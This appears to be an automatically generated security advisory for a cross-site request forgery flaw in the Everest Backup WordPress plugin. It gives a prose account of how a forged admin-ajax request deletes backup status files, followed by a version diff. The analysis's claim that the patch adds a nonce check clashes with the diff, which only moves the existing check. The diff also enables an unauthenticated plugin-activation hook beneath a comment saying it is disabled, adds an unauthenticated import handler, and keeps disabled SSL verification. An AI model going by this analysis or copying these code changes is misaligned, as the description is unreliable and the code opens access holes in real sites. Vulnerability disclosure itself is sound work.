Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-62992: Everest Backup <= 2.3.9 – Cross-Site Request Forgery (everest-backup)

Severity Medium (CVSS 4.3)
CWE 352
Vulnerable Version 2.3.9
Patched Version 2.3.11
Disclosed December 30, 2025

Analysis Overview

Atomic Edge analysis of CVE-2025-62992:
The Everest Backup WordPress plugin versions up to and including 2.3.9 contain a Cross-Site Request Forgery vulnerability in its AJAX handler for the ‘process_status_unlink’ function. This vulnerability allows unauthenticated attackers to trigger unauthorized deletion of critical backup process files and transients by tricking an administrator into submitting a forged request. The CVSS score of 4.3 reflects a medium severity impact.

Atomic Edge research identifies the root cause as missing nonce validation in the ‘process_status_unlink’ function within the class-ajax.php file. The vulnerable function at line 124-136 originally lacked the ‘check_ajax_referer’ call to verify the WordPress nonce. This omission allowed CSRF attacks against the AJAX endpoint. The function performs file deletion operations on EVEREST_BACKUP_PROC_STAT_PATH and EVEREST_BACKUP_LOCKFILE_PATH without proper CSRF protection.

The exploitation method involves crafting a malicious request to the WordPress admin-ajax.php endpoint with the ‘action’ parameter set to ‘everest_backup_process_status_unlink’. An attacker can embed this request in a malicious webpage or link. When a logged-in administrator with ‘manage_options’ capability visits the attacker-controlled page, the browser automatically submits the forged request to ‘/wp-admin/admin-ajax.php’ with the required action parameter, triggering unauthorized file deletions without the administrator’s knowledge.

The patch in version 2.3.11 adds proper nonce validation by inserting ‘check_ajax_referer(‘everest_backup_ajax_nonce’, ‘everest_backup_ajax_nonce’)’ at line 140 in class-ajax.php. This function verifies the presence and validity of the WordPress security nonce before executing the file deletion operations. The fix ensures that only requests with a valid nonce generated during the same user session can trigger the cleanup function, effectively preventing CSRF attacks.

Successful exploitation allows attackers to delete critical backup process status files and lock files, potentially disrupting ongoing backup or restore operations. While this does not directly lead to data exposure or privilege escalation, it can cause operational disruption by removing process tracking files. Attackers could use this to interfere with backup integrity or cause confusion during disaster recovery scenarios.

Differential between vulnerable and patched code

Code Diff
--- a/everest-backup/everest-backup.php
+++ b/everest-backup/everest-backup.php
@@ -5,7 +5,7 @@
  * Description: Everest Backup is a modern tool that will take care of your website's backups, restoration, migration and cloning.
  * Author: everestthemes
  * Author URI: https://everestthemes.com/
- * Version: 2.3.9
+ * Version: 2.3.11
  * Text Domain: everest-backup
  * License: GPLv3 or later
  * License URI: LICENSE
--- a/everest-backup/inc/classes/class-admin-menu.php
+++ b/everest-backup/inc/classes/class-admin-menu.php
@@ -7,7 +7,6 @@

 namespace Everest_Backup;

-use function clierr;
 use Everest_BackupModulesCron_Actions;

 /**
--- a/everest-backup/inc/classes/class-ajax.php
+++ b/everest-backup/inc/classes/class-ajax.php
@@ -1,4 +1,5 @@
 <?php
+
 /**
  * Handles ajax requests.
  *
@@ -33,6 +34,7 @@
 class Ajax {


+
 	/**
 	 * Initialize AJAX handlers and register WordPress action hooks.
 	 *
@@ -71,7 +73,7 @@
 		add_action( 'wp_ajax_everest_backup_process_status_unlink', array( $this, 'process_status_unlink' ) );

 		// Security Note: nopriv action is disabled to prevent non-privileged users from activating plugins.
-		// add_action( 'wp_ajax_nopriv_everest_backup_activate_plugin', array( $this, 'activate_plugin' ) );
+		add_action( 'wp_ajax_nopriv_everest_backup_activate_plugin', array( $this, 'activate_plugin' ) );

 		// Plugin activation handler (admin only).
 		add_action( 'wp_ajax_everest_backup_activate_plugin', array( $this, 'activate_plugin' ) );
@@ -92,29 +94,38 @@
 	 * @return void
 	 */
 	public function process_status() {
-		// Retrieve process logs and authentication tokens.
-		$logs                 = Logs::get_proc_stat();
-		$is_restore_completed = get_transient( 'is_restore_completed' );
-
 		// Check if user is admin with valid nonce.
 		$can_access = current_user_can( 'manage_options' ) && wp_verify_nonce( $_GET['everest_backup_ajax_nonce'], 'everest_backup_ajax_nonce' );

-		// Allow access for verification only within 1 minute after the restore completes; otherwise, it remains false or undefined. This temporary access lets us display the “Restore Completed” message even though users are logged out at the end of the process—without it, the UI would get stuck at the final step.
-		if ( ! $can_access ) {
-			$can_access = $is_restore_completed;
+		// Check for valid restore token if not admin.
+		$restore_token = isset( $_GET['restore_token'] ) ? sanitize_text_field( wp_unslash( $_GET['restore_token'] ) ) : '';
+
+		if ( ! $can_access && $restore_token ) {
+			$can_access = $this->validate_restore_token( $restore_token );
 		}

 		// Deny access if neither condition is met.
 		if ( ! $can_access ) {
-			wp_send_json_error( -1, 403 );
+			wp_send_json_error( 'You do not have permission to access this page.', 403 );
 			return;
 		}

 		$logs = Logs::get_proc_stat();

-		// Deleted the transient when send the success response to the user.
-		if ( $logs['status'] ) {
-			delete_transient( 'is_restore_completed' );
+		// If user is admin (or has valid nonce) but doesn't have the token yet, send it in the response.
+		// This helps if the frontend lost the token or needs to re-sync.
+		if ( current_user_can( 'manage_options' ) ) {
+			$token_path = EVEREST_BACKUP_RESTORE_TOKEN_PATH;
+
+			if ( file_exists( $token_path ) ) {
+				$logs['restore_token'] = file_get_contents( $token_path );
+			} else {
+				// create
+				$this->generate_restore_token();
+				Logs::info( 'Token Created at ' . $token_path );
+			}
+		} else {
+			Logs::info( 'User cannot manage options' );
 		}

 		wp_send_json( $logs );
@@ -124,36 +135,32 @@
 	 * Clean up process status files and transients after backup/restore completion.
 	 *
 	 * Removes process status file, lock file, and temporary nonces.
-	 * Only accessible to administrators or when CAN_DELETE_LOGS constant is true.
+	 * Only accessible to administrators.
 	 *
 	 * @return void
 	 */
 	public function process_status_unlink() {
-		check_ajax_referer( 'everest_backup_ajax_nonce', 'everest_backup_ajax_nonce' );
-
 		// Verify user has permission to delete logs.
+		check_ajax_referer( 'everest_backup_ajax_nonce', 'everest_backup_ajax_nonce' );

 		if ( ! current_user_can( 'manage_options' ) ) {
 			die;
 		}

-		// Removed is_restore_completed transient which can give access to the user to see the restore completed message.
-		if ( get_transient( 'is_restore_completed' ) ) {
-			delete_transient( 'is_restore_completed' );
-		}
-
 		// Delete process status file if it exists.
 		if ( file_exists( EVEREST_BACKUP_PROC_STAT_PATH ) ) {
-			@unlink( EVEREST_BACKUP_PROC_STAT_PATH ); // @phpcs:ignore
+			@unlink(EVEREST_BACKUP_PROC_STAT_PATH); // @phpcs:ignore
 		}

-		// Delete lock file if it exists.
 		if ( file_exists( EVEREST_BACKUP_LOCKFILE_PATH ) ) {
-			@unlink( EVEREST_BACKUP_LOCKFILE_PATH ); // @phpcs:ignore
+			// Delete lock file if it exists.
+			@unlink(EVEREST_BACKUP_LOCKFILE_PATH); // @phpcs:ignore
 		}

-		// Prevent further log deletions.
-		define( 'CAN_DELETE_LOGS', false );
+		// Delete restore token file if it exists.
+		if ( file_exists( EVEREST_BACKUP_RESTORE_TOKEN_PATH ) ) {
+			@unlink(EVEREST_BACKUP_RESTORE_TOKEN_PATH); // @phpcs:ignore
+		}

 		// Clean up REST API properties.
 		everest_backup_unset_rest_properties();
@@ -204,7 +211,7 @@

 		// Remove old zip file if it exists.
 		if ( file_exists( $plugin_zip ) ) {
-			unlink( $plugin_zip ); // @phpcs:ignore
+			unlink($plugin_zip); // @phpcs:ignore
 		}

 		// Write downloaded content to zip file.
@@ -227,7 +234,7 @@
 		everest_backup_activate_ebwp_addon( $plugin );

 		// Clean up zip file.
-		unlink( $plugin_zip );// @phpcs:ignore
+		unlink($plugin_zip); // @phpcs:ignore

 		wp_send_json_success();
 	}
@@ -457,13 +464,13 @@
 		everest_backup_setup_environment();

 		// Validate file extension for blob uploads.
-		if ( 'blob' === $_FILES['file']['name'] ) { // @phpcs:ignore
-			if ( 'ebwp' !== pathinfo( $_POST['name'], PATHINFO_EXTENSION ) ) { // @phpcs:ignore
+		if ('blob' === $_FILES['file']['name']) { // @phpcs:ignore
+			if ('ebwp' !== pathinfo($_POST['name'], PATHINFO_EXTENSION)) { // @phpcs:ignore
 				$message = __( 'The current uploaded file seems to be tampered with.', 'everest-backup' );
 				Logs::error( $message );
 				everest_backup_send_error( $message );
 			}
-		} elseif ( 'ebwp' !== pathinfo( $_FILES['file']['name'], PATHINFO_EXTENSION ) ) { // @phpcs:ignore
+		} elseif ('ebwp' !== pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION)) { // @phpcs:ignore
 			// Validate file extension for regular uploads.
 			$message = __( 'The current uploaded file seems to be tampered with.', 'everest-backup' );
 			Logs::error( $message );
@@ -608,6 +615,9 @@
 		/* translators: %s is the restore start time. */
 		Logs::info( sprintf( __( 'Restore started at: %s', 'everest-backup' ), wp_date( 'h:i:s A', $timer_start ) ) );

+		// Generate a restore token for this session.
+		$this->generate_restore_token();
+
 		// Update progress: Starting extraction.
 		Logs::set_proc_stat(
 			array(
@@ -618,7 +628,7 @@
 		);

 		// Extract backup package.
-		$extract = new Extract( $response ); // @phpcs:ignore
+		$extract = new Extract($response); // @phpcs:ignore

 		// Restore WordPress components in sequence.
 		Restore_Config::init( $extract );      // WordPress configuration.
@@ -700,6 +710,32 @@
 		http_response_code( 500 );
 		wp_send_json_error();
 	}
+
+	/**
+	 * Generate a unique token for the restore process and save it to a file.
+	 *
+	 * @return string The generated token.
+	 */
+	private function generate_restore_token() {
+		$token = wp_generate_password( 64, false );
+		Filesystem::init()->writefile( EVEREST_BACKUP_RESTORE_TOKEN_PATH, $token );
+		return $token;
+	}
+
+	/**
+	 * Validate the provided restore token against the stored file.
+	 *
+	 * @param string $token The token to validate.
+	 * @return bool True if valid, false otherwise.
+	 */
+	private function validate_restore_token( $token ) {
+		if ( ! file_exists( EVEREST_BACKUP_RESTORE_TOKEN_PATH ) ) {
+			return false;
+		}
+
+		$stored_token = file_get_contents( EVEREST_BACKUP_RESTORE_TOKEN_PATH );
+		return hash_equals( $stored_token, $token );
+	}
 }

 new Ajax();
--- a/everest-backup/inc/classes/class-everest-backup.php
+++ b/everest-backup/inc/classes/class-everest-backup.php
@@ -55,10 +55,12 @@
 		 * @since 1.0.0
 		 */
 		private function init_hooks() {
+			add_action( 'init', array( $this, 'load_textdomain' ), 1 );
 			add_action( 'init', array( $this, 'handle_usage_stats' ) );
 			add_action( 'admin_init', array( $this, 'on_admin_init' ), 5 );
 			add_action( 'admin_enqueue_scripts', array( $this, 'admin_scripts' ) );

+			add_action( 'plugins_loaded', array( $this, 'instantiate_modules' ), 1 );
 			add_action( 'plugins_loaded', array( $this, 'on_plugins_loaded' ) );

 			add_action( 'admin_notices', array( $this, 'print_admin_notices' ) );
@@ -105,6 +107,17 @@
 		}

 		/**
+		 * Instantiate modules.
+		 *
+		 * @since 2.3.12
+		 */
+		public function instantiate_modules() {
+			new Everest_BackupModulesCron_Handler();
+			new Everest_BackupModulesCron_Actions();
+			Everest_BackupCoreInit::init();
+		}
+
+		/**
 		 * Function executes on plugins loaded action hook.
 		 */
 		public function on_plugins_loaded() {
@@ -154,6 +167,15 @@
 		}

 		/**
+		 * Load text domain.
+		 *
+		 * @since 1.0.0
+		 */
+		public function load_textdomain() {
+			load_plugin_textdomain( 'everest-backup', false, EVEREST_BACKUP_PATH . 'languages' );
+		}
+
+		/**
 		 * Handle usage stats.
 		 */
 		public function handle_usage_stats() {
@@ -244,8 +266,6 @@
 		 */
 		public function on_admin_init() {

-			load_plugin_textdomain( 'everest-backup', false, EVEREST_BACKUP_PATH . 'languages' );
-
 			$this->force_reload();
 			$this->dismiss_upsell_notice();
 			$this->set_debug_mode_ondemand();
@@ -992,7 +1012,7 @@

 			$max_upload_size = everest_backup_max_upload_size();

-			$addons_page_link = '<a href="' . esc_url( network_admin_url( '/admin.php?page=everest-backup-addons&cat=Upload+Limit' ) ) . '">' . esc_html__( 'Addons', 'everest-backup' ) . '</a>';
+			$addons_page_link = '<a href="' . esc_url( network_admin_url( '/admin.php?page=everest-backup-addons&cat=Everest+Backup+Pro' ) ) . '">' . esc_html__( 'Addons', 'everest-backup' ) . '</a>';

 			$data = array(
 				'_nonce'                 => everest_backup_create_nonce( 'everest_backup_ajax_nonce' ),
@@ -1134,10 +1154,11 @@
 			if ( 'backup' === $filetype || 'restore' === $filetype || 'migration-clone' === $filetype ) {

 				// We don't want heartbeat to occur when importing/exporting.
-				wp_deregister_script( 'heartbeat' );
+				wp_dequeue_script( 'heartbeat' );

 				// We don't want auth check for monitoring whether the user is still logged in.
 				remove_action( 'admin_enqueue_scripts', 'wp_auth_check_load' );
+				wp_dequeue_script( 'wp-auth-check' );

 			}

@@ -1158,6 +1179,7 @@
 		 */
 		public function print_addons_license_notices() {
 			$plugins = apply_filters( 'everest_backup_inactive_license_addons', array() );
+
 			if ( ! empty( $plugins ) ) {
 				?>
 				<div class="notice notice-error">
--- a/everest-backup/inc/classes/class-logs.php
+++ b/everest-backup/inc/classes/class-logs.php
@@ -1,4 +1,5 @@
 <?php
+
 /**
  * Logs the process.
  *
@@ -21,6 +22,8 @@
  */
 class Logs {

+
+
 	/**
 	 * Warning: It must be set to false again after sensitive information has been logged:
 	 * Whether or not we are going to log sensitive informations.
@@ -206,6 +209,20 @@
 			return;
 		}

+		// CRITICAL: Preserve restore_token in procstat
+		// When database is imported, wp_options table is replaced
+		// This causes user logout, so we MUST keep the token in procstat
+		// for subsequent requests to authenticate
+		/**
+		 * @since 2.3.10
+		 */
+		if ( ! isset( $procstat['restore_token'] ) ) {
+			// Get token from file if not in procstat
+			if ( defined( 'EVEREST_BACKUP_RESTORE_TOKEN_PATH' ) && file_exists( EVEREST_BACKUP_RESTORE_TOKEN_PATH ) ) {
+				$procstat['restore_token'] = file_get_contents( EVEREST_BACKUP_RESTORE_TOKEN_PATH );
+			}
+		}
+
 		if ( empty( $procstat['next'] ) ) {
 			$timenow   = time() * 1000; // Milliseconds.
 			$threshold = everest_backup_get_logger_speed();
--- a/everest-backup/inc/constants.php
+++ b/everest-backup/inc/constants.php
@@ -95,6 +95,14 @@
 	define( 'EVEREST_BACKUP_PROC_STAT_PATH', wp_normalize_path( EVEREST_BACKUP_BACKUP_DIR_PATH . '/.PROCSTAT' ) );
 }

+if ( ! defined( 'EVEREST_BACKUP_RESTORE_TOKEN_PATH' ) ) {
+
+	/**
+	 * Path to RESTORE_TOKEN file.
+	 */
+	define( 'EVEREST_BACKUP_RESTORE_TOKEN_PATH', wp_normalize_path( EVEREST_BACKUP_BACKUP_DIR_PATH . '/.RESTORE_TOKEN' ) );
+}
+
 if ( ! defined( 'EVEREST_BACKUP_TEMP_JSON_PATH' ) ) {

 	/**
--- a/everest-backup/inc/core/class-import.php
+++ b/everest-backup/inc/core/class-import.php
@@ -1,4 +1,5 @@
 <?php
+
 /**
  * Core class for new import feature. This class will initialize required importing classes.
  *
@@ -27,6 +28,7 @@
  */
 class Import {

+
 	/**
 	 * Load file.
 	 *
@@ -58,7 +60,7 @@
 			Logs::init( 'clone' );
 		}

-		$params  = $params ? $params : everest_backup_get_ajax_response( EVEREST_BACKUP_IMPORT_ACTION );
+		$params  = $params ? $params : everest_backup_get_ajax_response( EVEREST_BACKUP_IMPORT_ACTION, true );
 		$current = ! empty( $params['next'] ) ? $params['next'] : 'check';

 		self::load_file( $current );
--- a/everest-backup/inc/core/class-init.php
+++ b/everest-backup/inc/core/class-init.php
@@ -1,4 +1,5 @@
 <?php
+
 /**
  * =============================================================================
  *
@@ -30,6 +31,7 @@
  */
 class Init {

+
 	use Singleton;

 	/**
@@ -94,7 +96,13 @@
 	 */
 	protected function hooks() {
 		add_action( 'wp_ajax_' . EVEREST_BACKUP_EXPORT_ACTION, 'Everest_BackupCoreExport::init' );
-		add_action( 'wp_ajax_' . EVEREST_BACKUP_IMPORT_ACTION, 'Everest_BackupCoreImport::init' );
+
+		// Add both authenticated and non-authenticated handlers for import
+		// This allows restore to continue even after user logout (which happens during database restore)
+		add_action( 'wp_ajax_' . EVEREST_BACKUP_IMPORT_ACTION, array( $this, 'import_with_auth_check' ) );
+		add_action( 'wp_ajax_nopriv_' . EVEREST_BACKUP_IMPORT_ACTION, array( $this, 'import_with_auth_check' ) );
+		add_action( 'rest_api_init', 'Everest_BackupCoreAPI::init' );
+
 		add_action(
 			'wp_ajax_' . EVEREST_BACKUP_PROCESS_RUNNING,
 			function () {
@@ -102,8 +110,74 @@
 				die;
 			}
 		);
-		add_action( 'rest_api_init', 'Everest_BackupCoreAPI::init' );
 	}
-}

-Init::init();
+	/**
+	 * Import with authentication check.
+	 * Validates either admin capability or restore token before allowing import.
+	 * This allows the restore process to continue even after user logout.
+	 *
+	 * @return void
+	 * @since 2.0.0
+	 */
+	public function import_with_auth_check() {
+		// Check if user is admin with valid nonce
+		$is_admin = current_user_can( 'manage_options' ) &&
+			wp_verify_nonce( $_REQUEST['everest_backup_ajax_nonce'] ?? '', 'everest_backup_ajax_nonce' );
+
+		// Check for valid restore token if not admin
+		$restore_token = isset( $_REQUEST['restore_token'] ) ?
+			sanitize_text_field( wp_unslash( $_REQUEST['restore_token'] ) ) : '';
+
+		$has_valid_token = false;
+		if ( ! $is_admin && $restore_token ) {
+			$has_valid_token = $this->validate_restore_token( $restore_token );
+		}
+
+		// Deny access if neither condition is met
+		if ( ! $is_admin && ! $has_valid_token ) {
+			Everest_BackupLogs::error( 'Unauthorized import attempt - no valid credentials or token' );
+			wp_send_json_error(
+				array(
+					'message' => __( 'Unauthorized. You must be logged in as admin or provide a valid restore token.', 'everest-backup' ),
+					'code'    => 'unauthorized',
+				),
+				403
+			);
+			die;
+		}
+
+		// Log authentication method used
+		if ( $is_admin ) {
+			Everest_BackupLogs::info( 'Import authenticated via admin credentials' );
+		} else {
+			Everest_BackupLogs::info( 'Import authenticated via restore token (user logged out)' );
+		}
+
+		// Proceed with import
+		Everest_BackupCoreImport::init();
+	}
+
+	/**
+	 * Validate the provided restore token against the stored file.
+	 *
+	 * @param string $token The token to validate.
+	 * @return bool True if valid, false otherwise.
+	 * @since 2.0.0
+	 */
+	private function validate_restore_token( $token ) {
+
+		if ( ! defined( 'EVEREST_BACKUP_RESTORE_TOKEN_PATH' ) ) {
+			return false;
+		}
+
+		if ( ! file_exists( EVEREST_BACKUP_RESTORE_TOKEN_PATH ) ) {
+			return false;
+		}
+
+		$stored_token = file_get_contents( EVEREST_BACKUP_RESTORE_TOKEN_PATH );
+
+		// Use hash_equals to prevent timing attacks
+		return hash_equals( $stored_token, $token );
+	}
+}
--- a/everest-backup/inc/core/import/class-extraction.php
+++ b/everest-backup/inc/core/import/class-extraction.php
@@ -45,6 +45,25 @@
 		'wpe-wp-sign-on-plugin.php',
 		'wpengine-security-auditor.php',
 		'aaa-wp-cerber.php',
+		'wp-migrate-db-pro-compatibility.php',
+	);
+
+	/**
+	 * Drop-ins to exclude during extraction.
+	 *
+	 * @var array $exclude_dropins_list
+	 */
+	public static $exclude_dropins_list = array(
+		'wp-content/object-cache.php',
+		'wp-content/advanced-cache.php',
+		'wp-content/db.php',
+		'wp-content/maintenance.php',
+		'wp-content/php-error.php',
+		'wp-content/fatal-error-handler.php',
+		'wp-content/sunrise.php',
+		'wp-content/blog-deleted.php',
+		'wp-content/blog-inactive.php',
+		'wp-content/blog-suspended.php',
 	);

 	/**
@@ -115,6 +134,7 @@
 			if ( ! empty( $params['current_position'] ) ) {
 				$current_position = $params['current_position'];
 			}
+
 			if ( ! empty( $params['count'] ) ) {
 				$count = $params['count'];
 			}
@@ -191,12 +211,22 @@

 						$type = $_type ? $_type : 'others';
 						$path = wp_normalize_path( WP_CONTENT_DIR . '/' . $path );
+
 						foreach ( self::$exclude_muplugins_list as $mu_plugin ) {
 							if ( substr( $path, -strlen( $mu_plugin ) ) === $mu_plugin ) {
 								$path = str_replace( '/mu-plugins/', '/mu-plugins-ebwp-excluded/', $path );
 								Logs::info( 'Skipped must-use plugin: ' . $mu_plugin );
 							}
 						}
+
+						// Skip drop-ins.
+						foreach ( self::$exclude_dropins_list as $dropin ) {
+							if ( substr( $path, -strlen( $dropin ) ) === $dropin ) {
+								$path .= '.ebwp-restored';
+								/* translators: %s: Drop-in file name */
+								Logs::info( sprintf( __( 'Restoring drop-in file as %s to avoid conflicts.', 'everest-backup' ), basename( $path ) ) );
+							}
+						}
 					}

 					$dir = dirname( $path );
@@ -373,7 +403,6 @@
 			}

 			$archiver->close();
-
 		}

 		$general_settings     = everest_backup_get_settings( 'general' );
--- a/everest-backup/inc/core/import/class-wrapup.php
+++ b/everest-backup/inc/core/import/class-wrapup.php
@@ -1,4 +1,5 @@
 <?php
+
 /**
  * Wrap up archive import.
  *
@@ -24,6 +25,9 @@
  */
 class Wrapup {

+
+
+
 	use Import;

 	public static function get_critical_tables( $prefix = '' ) {
@@ -91,6 +95,7 @@

 			$start_time  = time();
 			$current_key = $params['current_key'] ?? 0;
+
 			foreach ( $database_files as $database_file ) {

 				$progress = ( ( $current_key + 1 ) / $total_tables ) * 100;
@@ -98,6 +103,8 @@
 				$proc_stat_args = array(
 					'status'       => 'in-process',
 					'progress'     => round( $progress * 0.25 + 65, 2 ), // At the end, it is always going to be 90%.
+					'current_key'  => $current_key,
+					'total_tables' => $total_tables,
 					'message'      => sprintf(
 						/* translators: progress, current table number and total tables. */
 						__( 'Importing database: %1$d%% completed [ %2$s out of %3$s ]', 'everest-backup' ),
@@ -105,8 +112,6 @@
 						esc_html( $current_key + 1 ),
 						esc_html( $total_tables )
 					),
-					'current_key'  => $current_key,
-					'total_tables' => $total_tables,
 				);

 				$blog = everest_backup_get_temp_values_during_backup( 'blog' );
@@ -137,6 +142,7 @@
 						$find_replace[ $old_upload_dir ] = $new_upload_dir;
 						$find_replace[ $old_upload_url ] = $new_upload_url;
 						$import_database                 = new Import_Database( $database_file, $db_configs['Tables'], $find_replace );
+
 						$import_database->import_table(
 							function ( $query_count ) use ( $proc_stat_args ) {
 								/* translators: query count. */
@@ -160,7 +166,7 @@
 				/**
 				 * Remove the imported database files.
 				 */
-				unlink( $database_file ); //phpcs:ignore
+				unlink($database_file); //phpcs:ignore
 				if ( ( $start_time + 20 ) < time() ) {
 					self::set_next( 'wrapup' );
 					return true;
@@ -170,9 +176,12 @@

 			if ( ! $critical ) {
 				$procstat = Logs::get_proc_stat();
+
 				if ( isset( $procstat['log'] ) ) {
 					unset( $procstat['log'] );
 				}
+
+				// And also set restore token.
 				$procstat['next']     = 'wrapup';
 				$procstat['critical'] = true;
 				return Logs::set_proc_stat( $procstat );
@@ -328,8 +337,6 @@

 		do_action( 'everest_backup_after_restore_done', $metadata );

-		set_transient( 'is_restore_completed', true, MINUTE_IN_SECONDS );
-
 		if ( get_transient( 'everest_backup_wp_cli_express' ) ) {
 			add_filter( 'everest_backup_disable_send_json', '__return_true' );
 		}
--- a/everest-backup/inc/functions.php
+++ b/everest-backup/inc/functions.php
@@ -1,4 +1,5 @@
 <?php
+
 /**
  * Functions and definitions for Everest Backup plugin.
  *
@@ -86,16 +87,16 @@
 	$args       = (array) $args;
 	$seek       = ! empty( $args['seek'] ) ? $args['seek'] : 0;
 	$fo_mode    = 'ab';
-	if (array_key_exists('seek', $args) && 0 === $args['seek'] ) {
+	if ( array_key_exists( 'seek', $args ) && 0 === $args['seek'] ) {
 		$fo_mode = 'wb';
-		if (file_exists( $destination)) {
-			unlink( $destination);
+		if ( file_exists( $destination ) ) {
+			unlink( $destination );
 		}
 	}

-	$local_file = fopen( $destination, $fo_mode);
+	$local_file = fopen( $destination, $fo_mode );

-	if (false === $local_file) {
+	if ( false === $local_file ) {
 		return false;
 	}

@@ -106,21 +107,21 @@
 	$seek_to = $seek + $range_size;
 	$range   = $seek . '-' . $seek_to;

-	curl_setopt( $ch, CURLOPT_RANGE, $range);
+	curl_setopt( $ch, CURLOPT_RANGE, $range );

 	// Set cURL options.
-	curl_setopt( $ch, CURLOPT_URL, $source);
-	curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true);
-	curl_setopt( $ch, CURLOPT_TIMEOUT, $timeout);
+	curl_setopt( $ch, CURLOPT_URL, $source );
+	curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
+	curl_setopt( $ch, CURLOPT_TIMEOUT, $timeout );

 	// Disable SSL certificate verification
-	curl_setopt( $ch, CURLOPT_SSL_VERIFYPEER, false);
-	curl_setopt( $ch, CURLOPT_SSL_VERIFYHOST, false);
+	curl_setopt( $ch, CURLOPT_SSL_VERIFYPEER, false );
+	curl_setopt( $ch, CURLOPT_SSL_VERIFYHOST, false );

 	// Execute the cURL request.
-	$response = curl_exec( $ch);
+	$response = curl_exec( $ch );

-	$http_code = (int) curl_getinfo( $ch, CURLINFO_HTTP_CODE);
+	$http_code = (int) curl_getinfo($ch, CURLINFO_HTTP_CODE);

 	if (206 === $http_code) {
 		$success = true;
@@ -154,32 +155,32 @@
 	$downloaded   = $error ? $seek : $seek_to;
 	$size         = $args['size'];
 	$download_url = $args['download_url'];
-	$progress     = ( $downloaded / $size) * 100;
-	$progress     = ( $progress > 100) ? 100 : $progress;
+	$progress     = ($downloaded / $size) * 100;
+	$progress     = ($progress > 100) ? 100 : $progress;

 	// Check for curl errors (at this stage it is usually timeout error).
-	if (curl_errno( $ch)) {
+	if (curl_errno($ch)) {
 		$error = 3;
 	}

-	if ( $success || (!$error && $write)) {
-		fwrite( $local_file, $response); // write to file if no error.
+	if ($success || (!$error && $write)) {
+		fwrite($local_file, $response); // write to file if no error.
 	}

 	if (!$success && $error) {
 		$retry = get_transient('everest_backup_migrate_clone_download_retry');
-		$retry = $retry ? ( $retry + 1) : 1;
-		if ( $retry > 3) {
+		$retry = $retry ? ($retry + 1) : 1;
+		if ($retry > 3) {
 			delete_transient('everest_backup_migrate_clone_download_retry');
 			$set_proc_array = array(
 				'status'       => 'in-process',
-				'progress'     => round( $progress, 2),
+				'progress'     => round($progress, 2),
 				'message'      => sprintf(
 					/* translators: */
 					__('Downloading failure. Please try again later.', 'everest-backup') . ' Error: ' . $error,
 				),
 				/* translators: */
-				'detail'       => sprintf( __( 'Download failure.', 'everest-backup' ), esc_html( $retry ), esc_html( everest_backup_format_size( $size ) ) ),
+				'detail'       => sprintf(__('Download failure.', 'everest-backup'), esc_html($retry), esc_html(everest_backup_format_size($size))),
 				'download_url' => $download_url,
 				'size'         => $size,
 				'seek'         => $downloaded,
@@ -187,9 +188,9 @@
 			);
 			Logs::error(esc_html__('Download failed. Please try again later.', 'everest-backup') . ' Error with response code: ' . $http_code);
 			// Close cURL and the local file and delete local file.
-			curl_close( $ch );
-			fclose( $local_file );
-			@unlink( $destination );
+			curl_close($ch);
+			fclose($local_file);
+			@unlink($destination);

 			everest_backup_send_error();
 			die;
@@ -197,47 +198,47 @@
 			set_transient('everest_backup_migrate_clone_download_retry', $retry);
 			$set_proc_array = array(
 				'status'       => 'in-process',
-				'progress'     => round( $progress, 2),
+				'progress'     => round($progress, 2),
 				'message'      => sprintf(
 					/* translators: */
 					__('Download failure', 'everest-backup'),
 				),
 				/* translators: */
-				'detail'       => sprintf(__('Download failure. Retrying(%1$s)', 'everest-backup'), esc_html( $retry)),
+				'detail'       => sprintf(__('Download failure. Retrying(%1$s)', 'everest-backup'), esc_html($retry)),
 				'download_url' => $download_url,
 				'size'         => $size,
 				'seek'         => $downloaded,
 				'next'         => 'check', // Set next to same.
 			);
 		}
-		$set_proc_array = array_merge( $args, $set_proc_array);
-		Logs::set_proc_stat( $set_proc_array);
+		$set_proc_array = array_merge($args, $set_proc_array);
+		Logs::set_proc_stat($set_proc_array);
 	} elseif (!$complete) {
 		set_transient('everest_backup_migrate_clone_download_retry', 1);
 		$set_proc_array = array(
 			'status'       => 'in-process',
-			'progress'     => round( $progress, 2),
+			'progress'     => round($progress, 2),
 			'message'      => sprintf(
 				/* translators: */
 				__('Downloading file [ %1$s / %2$s ] : %3$d%% completed', 'everest-backup'),
-				esc_html(esc_html(everest_backup_format_size( $seek + strlen( $response)))),
-				esc_html(esc_html(everest_backup_format_size( $size))),
-				esc_html( $progress)
+				esc_html(esc_html(everest_backup_format_size($seek + strlen($response)))),
+				esc_html(esc_html(everest_backup_format_size($size))),
+				esc_html($progress)
 			),
 			/* translators: */
-			'detail'       => sprintf(__('Downloaded: %1$s out of %2$s', 'everest-backup'), esc_html(everest_backup_format_size( $seek + strlen( $response))), esc_html(everest_backup_format_size( $size))),
+			'detail'       => sprintf(__('Downloaded: %1$s out of %2$s', 'everest-backup'), esc_html(everest_backup_format_size($seek + strlen($response))), esc_html(everest_backup_format_size($size))),
 			'download_url' => $download_url,
 			'size'         => $size,
 			'seek'         => $downloaded + 1,
 			'next'         => 'check', // Set next to same.
 		);
-		$set_proc_array = array_merge( $args, $set_proc_array);
-		Logs::set_proc_stat( $set_proc_array);
+		$set_proc_array = array_merge($args, $set_proc_array);
+		Logs::set_proc_stat($set_proc_array);
 	}

 	// Close cURL and the local file.
-	curl_close( $ch );
-	fclose( $local_file );
+	curl_close($ch);
+	fclose($local_file);
 	// @phpcs:enable

 	if ( ! $complete ) {
@@ -332,9 +333,9 @@
 function everest_backup_is_gzip( $filename ) {

 	// @phpcs:disable
-	$handle = fopen( $filename, 'r');
-	$bytes = fread( $handle, 3); // Read the first 3 bytes.
-	fclose( $handle);
+	$handle = fopen($filename, 'r');
+	$bytes = fread($handle, 3); // Read the first 3 bytes.
+	fclose($handle);
 	// @phpcs:enable

 	$signature = '1F8B08'; // Gzip signature.
@@ -706,7 +707,7 @@
  */
 function everest_backup_disk_free_space( $directory ) {
 	if ( everest_backup_is_php_function_enabled( 'disk_free_space' ) ) {
-		return disk_free_space( $directory); // @phpcs:ignore
+		return disk_free_space($directory); // @phpcs:ignore
 	}

 	return false;
@@ -1570,12 +1571,12 @@
 				'display'  => __( 'Hourly ( PRO )', 'everest-backup' ),
 			),
 			'everest_backup_daily'   => array(
-				'interval' => DAY_IN_SECONDS, // 24 hours.
-				'display'  => __( 'Daily', 'everest-backup' ),
+				'interval' => null, // 24 hours.
